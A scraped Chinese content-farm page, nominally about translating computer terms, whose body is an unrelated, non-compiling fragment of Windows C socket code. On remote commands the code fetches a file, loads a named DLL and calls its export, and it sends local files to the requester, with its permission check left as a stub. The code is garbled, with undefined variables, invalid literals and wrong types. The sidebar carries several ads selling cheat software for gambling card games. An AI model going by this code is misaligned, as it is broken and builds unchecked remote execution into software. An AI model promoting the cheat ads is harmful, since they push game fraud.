if(connInst->pCmd==NULL)

{

connInst->pCmd=(char*)malloc(64);

connInst->cmdLen=0;

if(connInst->pCmd==NULL)

{

//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));

closesocket(connInst->socket);

delConnInst(connInst);

return;

}

}

pNewCmd=(char*)malloc(64);

if(pNewCmd==NULL)

{

//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));

closesocket(connInst->socket);

delConnInst(connInst);

return;

}

memset(pNewCmd, 0, 64);

bytesReceive=recv(socket, pNewCmd, 64, 0);

//("收到:%d字节",bytesReceive);

if(bytesReceive==SOCKET_ERROR)

{

//操作此时由于Windows Sockets实现的资源或其它限制的制约而无法调度

if(WSAGetLastError()==WSAEWOULDBLOCK) return;

//("recv() Error");

//("Closing socket: %d", connInst->socket);

closesocket(connInst->socket);

delConnInst(connInst);

return;

}

/* 有的时候, OnRead消息是假的, 收到的字节数是-1, 要忽略这种情况*/

if(bytesReceive>0)

{

connInst->pCmd=(char*)realloc(connInst->pCmd, connInst->cmdLen+bytesReceive);

memcpy(&connInst->pCmd[connInst->cmdLen], pNewCmd, bytesReceive);

connInst->cmdLen+=bytesReceive;

free(pNewCmd);

DvpExpCmd(socket);

}

else

{

free(pNewCmd);

}

return;

}

Void DvpExpCmd(Socket s)

{

pCONNINST connInst=getConnInst(s);

char *pThisCmd=NULL; /* 从命令堆里面读取第一个命令包, 这个用来保存命令包的地址 */

char *pSwap=NULL; /* 清除命令堆旧命令交换用的指针 */

if(pThisCmd==NULL)

{

//("DEBUG - 无法定义命令包起点, 函数返回, 等待命令.");

return;

}

if(pThisCmd > connInst->pCmd)

{

/*

如果前面有残余数据, 那么就立刻清除残余数据

这种情况遇到的不会多

*/

//("处理残余数据");

pSwap=connInst->pCmd;

connInst->pCmd=strdup(pThisCmd);

connInst->cmdLen-=(pThisCmd-connInst->pCmd);

free(pSwap);

/* 继续 */

}

LVoid pak;

while (*pThisCmd!=Null)

{

pak+=*pThisCmd;

pThisCmd+=sizeof(char);

}

pDVPPak *myDvp=*(DVPPak*)pak;

if(myDvp->SAMCommand=='UPData')

{/*对方传文件给我们!!*/

pFileUpData *Up=*(FileUpData*)myDvp->cmd;

DWORD dwThread;

if(*up!=Null){up->clientIP=pThisCmd->clientIP;

if(CreateThread(NULL,0,RecvFileThreadProc, *up, 0, &dwThread)==NULL)//文件接受线程

{//something wrong with Recv... }else

{ if(CheckSam(myDvp->Guid,myDvp->Auther)!='No')//处理权限,自己发挥吧。。 。

{ int (__stdcall*) MoudleStart=(void*)GetProcAddress(LoadLibrary(UP->FileName),"MoudleStartMe" );

MoudleStart(Up->Cmd);//开始执行!

}}

}

free(up);

}

if(myDvp->SAMCommand=='GetData')

{/*2002.10.19*/

/*对方要我们的文件*/

pFileUpData *Up=*(FileUpData*)myDvp->cmd;

if(up!=Null){up->clientIP=pThisCmd->clientIP;

DWORD dwThread;

if(CreateThread(NULL,0,SendFileThreadProc, *up, 0, &dwThread)==NULL)//文件传送线程

{//something wrong with Recv... }

else{/*传输SamCmmand='UpData',cmd=(lvoid*)up给对方*/}}

free(up);

}

if(myDvp->SAMCommand==Null)

{

/*处理对方发来信息中有用的信息*/

/*对于我们来讲,这个问题是应该由个人处理的*/

/*对于这里我们还要给对方返回一包即我们的信息*/

/*此处需要发送消息到对方,来获得如文件之类的东西*/

}

free(pThisCmd);

free(myDvp);

return -1;

}

void OnWrite(SOCKET socket)

{

pCONNINST connInst;

connInst=getConnInst(socket);

/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */

if(connInst==NULL)

{

char buf[1024];

while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);

closesocket(socket);

//("When ready to send, get some noise");

//("it is %c%c%c",buf[0],buf[1],buf[2]);

return;

}

/* 如果连接实例有需要发送的数据 */

if(connInst->pResult!=NULL)

{

sendResult(socket);

}

return;

}

void sendResult(SOCKET socket)

{

pCONNINST connInst=getConnInst(socket);

int bytesSent;

bytesSent=send(connInst->socket, connInst->pResult, connInst->resultLen, 0);

if(bytesSent==SOCKET_ERROR)

{

if (WSAGetLastError()!=WSAEWOULDBLOCK)

{

//("send() Error");

//("Closing socket: %d", connInst->socket);

closesocket(connInst->socket);

delConnInst(connInst);

return;

}

}

if((unsigned int)bytesSent<connInst->resultLen)//如果发送的字节少于结果字节

{

char* temp;

connInst->resultLen=connInst->resultLen-bytesSent;

temp=(char*)malloc(connInst->resultLen);

memcpy(temp,connInst->pResult+bytesSent,connInst->resultLen);

free(connInst->pResult);

connInst->pResult=temp;

}

else //如果全部发送完毕

{

free(connInst->pResult);

connInst->resultLen=0;

connInst->pResult=NULL;

}

}

int netHalt(void)

{

pCONNINST connTemp;

/* 关闭监听套接口 */

closesocket(listenSocket);

/* 关闭所有正在连接的套接口 */

connTemp=pConnInstHead;

while(connTemp)

{

closesocket(connTemp->socket);

connTemp=connTemp->next;

}

/* 清除请求包链表 */

delAllConnInst();

Beep(200,50);

WSACleanup();

return 1;

}

int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

{

MSG msg;

/* User Interface Startup */

uiStartup(hInstance, nCmdShow);

/* Network Startup */

netStartup();

/*我们在下面应该做些什么?搜索ip连接 。。。 。。*/

/* 进入消息循环 */

while(GetMessage(&msg,NULL,0,0))

{

TranslateMessage(&msg);

DispatchMessage(&msg);

}

/* Network Halt*/

netHalt();

return 0;

}

void RecvFileThreadProc(pFileUpData *plm)

{

// Open target file

// Get remote address

int i,nPort;

char svAddress[256];

lstrcpyn(svAddress,plm->clientIP->sin_addr->s_addr,256);

for(i=0;i<256;i++) {

if(svAddress==':') {

svAddress='\0';

nPort=atoi(&svAddress[i+1]);

break;

}

}

// Put into SOCKADDR_IN structure

SOCKADDR_IN saddr;

struct hostent *he;

DWORD dwIPAddr;

dwIPAddr=inet_addr(svAddress);

if(dwIPAddr==INADDR_NONE) {

he=gethostbyname(svAddress);

if(gethostbyname==NULL) {

free(plm);

return 1;

}

dwIPAddr=*(DWORD *)he->h_addr_list[0];

}

memset(&saddr,0,sizeof(SOCKADDR_IN));

saddr.sin_family=AF_INET;

saddr.sin_port=htons(plm->port);

saddr.sin_addr.s_addr=dwIPAddr;

// Create socket

SOCKET sv;

sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if(s==INVALID_SOCKET) {

free(plm);

return 1;

}

// Connect to remote port

if(connect(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {

closesocket(sv);

free(plm);

return 1;

}

// Nonblocking mode

DWORD dwBlock=1;

ioctlsocket(sv, FIONBIO, &dwBlock);

HANDLE hFile;

hFile=CreateFile(plm->FileName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

if(hFile!=NULL) {

int nBytes;

DWORD dwCount;

char svBuffer[1024];

do {

// Give up time

Sleep(20);

nBytes=recv(sv,svBuffer,1024,0);

if(nBytes>0) {

WriteFile(hFile,svBuffer,nBytes,&dwCount,NULL);

}

} while(nBytes>0);

CloseHandle(hFile);

}

closesocket(sv);

return 0;

}

void SendFileThreadProc(pFileUpData *plm)

{

SOCKET sv;

sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if(sv==INVALID_SOCKET) {

free(plm);

return -2;

}

// Bind to desired port

SOCKADDR_IN saddr;

memset(&saddr,0,sizeof(SOCKADDR_IN));

saddr.sin_family=AF_INET;

saddr.sin_port=htons(plm->port);

saddr.sin_addr.s_addr=0;

if(bind(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {

closesocket(s);

free(pptp);

free(ppi);

return -1;

}

listen(sv,MAX_CONNECTIONS);

// Nonblocking mode

DWORD argp=TRUE;

ioctlsocket(sv,FIONBIO,&argp);

sleep(1000);

SOCKET psv;

int tempLength;

// accept the new socket descriptor

tempLength=sizeof(SOCKADDR_IN);

psv=accept(sv, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);

if(peerSocket==SOCKET_ERROR)

{

if(WSAGetLastError()!=WSAEWOULDBLOCK)

{

//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));

return;

}

}

HANDLE hInFile;

hInFile=CreateFile(plm->FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);

if(hInFile==INVALID_HANDLE_value) {

//Couldn't open local file.

return -1;

}

char svBuffer[1024];

DWORD dwBytes;

do {

ReadFile(hInFile,svBuffer,1024,&dwBytes,NULL);

if(send(psv,svBuffer,dwBytes,0)<=0) break;

} while(dwBytes==1024);

closesocket(psv);

closesocket(sv);

CloseHandle(hInFile);

Return -1;

}

关于“电脑常用语的翻译哪里有啊”这个话题的介绍 ,今天小编就给大家分享完了,如果对你有所帮助请保持对本站的关注!

本文来自作者[储淑涵]投稿,不代表格瑞号立场,如若转载,请注明出处:https://m.gree0731.com/ig/21161.html

(2)

文章推荐

  • 意思是:王逵是个残酷凶悍的官僚,大家没人敢和他争,敦颐一个人和他争辩。节选原文:周敦颐,字茂叔,号濂溪,道州营道人。原名敦实,避英宗讳改焉。以舅龙图阁学士郑向任,为分宁主簿。有狱久不决,敦颐至,一讯立辨。惊曰:“老吏不如也。”部使者荐之,调南安军司理参军。有囚法不当死,转运使王逵欲深治之。逵,酷悍吏

    2025年08月14日
    20
  • 教程开挂辅助“微乐免费房间开挂神器”(确实是有挂)-知乎

    亲,微乐免费房间开挂神器这款游戏可以开挂的,确实是有挂的,很多玩家在这款游戏中打牌都会发现很多用户的牌特别好,总是好牌,而且好像能看到-人的牌一样。所以很多小伙伴就怀疑这款游戏是不是有挂,实际上这款游戏确实是有挂的,添加客服QQ群【】安装软件. 微信打麻将是一款非常流行的棋牌游

    2025年08月15日
    26
  • 分享实测“新海贝之城是不是有挂(透视)”详细开挂玩法

    您好:新海贝之城是不是有挂这款游戏是可以开挂的,软件加微信【添加图中QQ群】确实是有挂的,很多玩家在这款游戏中打牌都会发现很多用户的牌特别好,总是好牌,而且好像能看到其他人的牌一样。所以很多小伙伴就怀疑这款游戏是不是有挂,实际上这款游戏确实是有挂的,添加客服微信【添加图中QQ群】安装软件.

    2025年08月17日
    18
  • 推荐一款“手机金花开挂助手下载”(确实是有挂)-知乎

    推荐一款“手机金花开挂助手下载”(确实是有挂)-知乎>>>您好:手机金花开挂助手下载,软件加微信【】确实是有挂的,很多玩家在手机金花开挂助手下载这款游戏中打牌都会发现很多用户的牌特别好,总是好牌,而且好像能看到其他人的牌一样。所以很多小伙伴就怀疑手机金花开挂助手下载这

    2025年08月18日
    35
  • 保湿控油是什么意思

    保湿控油是什么意思夏天天气干燥炎热,在户外工作的人皮肤总是会缺少水分及油性肤质转换,怎么样改善皮肤的好处呢?那么下面就让我们一起来了解一下保湿控油是什么意思的相关信息吧。保湿控油是什么意思1、化妆品上的控油保湿是指控制皮肤的油脂含量,使皮肤角质层有足够的保湿因子2、控油指的是调整皮肤分泌的油脂含量。

    2025年08月26日
    15
  • 教程辅助!“微乐捉鸡麻将有挂吗(透视)”最新辅助详细教程

    无需打开直接搜索微信:本司针对手游进行,选择我们的四大理由: 1、软件助手是一款功能更加强大的软件!无需打开直接搜索微信:2、自动连接,用户只要开启软件,就会全程后台自动连接程序,无需用户时时盯着软件。3、安全保障,使用这款

    2025年08月26日
    18
  • 辅助开挂工具“微信链接金花开挂方法”开挂详细教程

    无需打开直接搜索微信:本司针对手游进行,选择我们的四大理由: 1、软件助手是一款功能更加强大的软件!无需打开直接搜索微信:2、自动连接,用户只要开启软件,就会全程后台自动连接程序,无需用户时时盯着软件。3、安全保障,使用这款

    2025年08月26日
    18
  • 徐州哪里有不加酒精的95号汽油

    徐州东站加油站。醇汽油通常会在汽车油标号之前加上字母“E”,徐州东站加油站有不加酒精的95号汽油,比如E92#,就是乙醇汽油了。如果油标号是E95#,那就说明是乙醇汽油。汽油一种具有挥发性、可燃的烃类混合物气体,汽油是由石油炼制得到的直馏汽油组分、催化裂化汽油组分、催化重整汽油组分等不同汽油组分。去

    2025年08月27日
    18
  • 混合性皮肤用什么卸妆好

    1混合性皮肤用什么卸妆好混合性肌肤适合使用卸妆乳或卸妆液,如果不是化浓妆的话尽量不要使用卸妆油。这是因为混合型肌肤人群的肌肤一般是两颊干,T区油,并且毛孔粗大。这类人群皮肤状况不是很稳定,有时候很干燥,有时候皮脂分泌比较旺盛,一般来说,最好选择性质比较温

    2025年08月30日
    14
  • 山姆会员卡一定要实体卡吗

    网上有关“山姆会员卡一定要实体卡吗”话题很是火热,小编也是针对山姆会员卡一定要实体卡吗寻找了一些与之相关的一些信息进行分析,如果能碰巧解决你现在面临的问题,希望能够帮助到您。山姆会员店是比较特别的一个大型连锁超市,它是需要花钱办理会员才可以进去购物买东西的,在进店和结账买单的时候需要出示会员卡,可

    2025年09月07日
    18

发表回复

本站作者后才能评论

评论列表(4条)

  • 储淑涵
    储淑涵 2025年09月16日

    我是格瑞号的签约作者“储淑涵”!

  • 储淑涵
    储淑涵 2025年09月16日

    希望本篇文章《电脑常用语的翻译哪里有啊》能对你有所帮助!

  • 储淑涵
    储淑涵 2025年09月16日

    本站[格瑞号]内容主要涵盖:生活百科,小常识,生活小窍门,知识分享

  • 储淑涵
    储淑涵 2025年09月16日

    本文概览:网上有关“电脑常用语的翻译哪里有啊”话题很是火热,小编也是针对电脑常用语的翻译哪里有啊寻找了一些与之相关的一些信息进行分析,如果能碰巧解决你现在面临的问题,希望能够帮助到您。a...

    联系我们

    邮件:格瑞号@sina.com

    工作时间:周一至周五,9:30-18:30,节假日休息

    关注我们